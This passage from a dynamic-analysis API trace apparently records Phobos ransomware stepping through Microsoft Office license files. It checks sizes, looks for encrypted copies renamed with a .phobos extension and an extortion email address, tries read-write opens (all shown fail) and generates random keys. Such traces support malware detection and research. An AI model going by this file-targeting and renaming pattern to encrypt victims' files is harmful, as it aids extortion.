"c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.040] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.040] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19944) returned 1 [0153.040] CloseHandle (hObject=0x564) returned 1 [0153.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-ul-phn.xrm-ms")) returned 0x220 [0153.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.040] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.041] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11159) returned 1 [0153.041] CloseHandle (hObject=0x564) returned 1 [0153.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-pl.xrm-ms")) returned 0x220 [0153.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.041] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.041] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.041] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20905) returned 1 [0153.041] CloseHandle (hObject=0x564) returned 1 [0153.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-ppd.xrm-ms")) returned 0x220 [0153.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.042] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.042] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11611) returned 1 [0153.042] CloseHandle (hObject=0x564) returned 1 [0153.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-ul-oob.xrm-ms")) returned 0x220 [0153.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.042] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.043] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=6798) returned 1 [0153.043] CloseHandle (hObject=0x564) returned 1 [0153.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ppd.xrm-ms")) returned 0x220 [0153.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.043] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.044] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11634) returned 1 [0153.044] CloseHandle (hObject=0x564) returned 1 [0153.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0153.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.044] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.044] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.044] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.044] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=9626) returned 1 [0153.044] CloseHandle (hObject=0x564) returned 1 [0153.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ul.xrm-ms")) returned 0x220 [0153.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ul.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.045] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.045] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.045] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.045] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10639) returned 1 [0153.045] CloseHandle (hObject=0x564) returned 1 [0153.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-pl.xrm-ms")) returned 0x220 [0153.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.046] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.046] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=6733) returned 1 [0153.046] CloseHandle (hObject=0x564) returned 1 [0153.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ppd.xrm-ms")) returned 0x220 [0153.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.047] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.047] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11601) returned 1 [0153.047] CloseHandle (hObject=0x564) returned 1 [0153.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ul-oob.xrm-ms")) returned 0x220 [0153.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.048] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.048] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19946) returned 1 [0153.049] CloseHandle (hObject=0x564) returned 1 [0153.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ul-phn.xrm-ms")) returned 0x220 [0153.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PowerPointVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\powerpointvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.049] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.050] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11219) returned 1 [0153.050] CloseHandle (hObject=0x564) returned 1 [0153.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0153.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.051] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.051] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=23263) returned 1 [0153.051] CloseHandle (hObject=0x564) returned 1 [0153.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0153.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.052] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.052] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11674) returned 1 [0153.052] CloseHandle (hObject=0x564) returned 1 [0153.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0153.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionaldemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.052] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.053] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=22956) returned 1 [0153.053] CloseHandle (hObject=0x564) returned 1 [0153.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_grace-ppd.xrm-ms")) returned 0x220 [0153.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_grace-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalpipcr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.053] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: 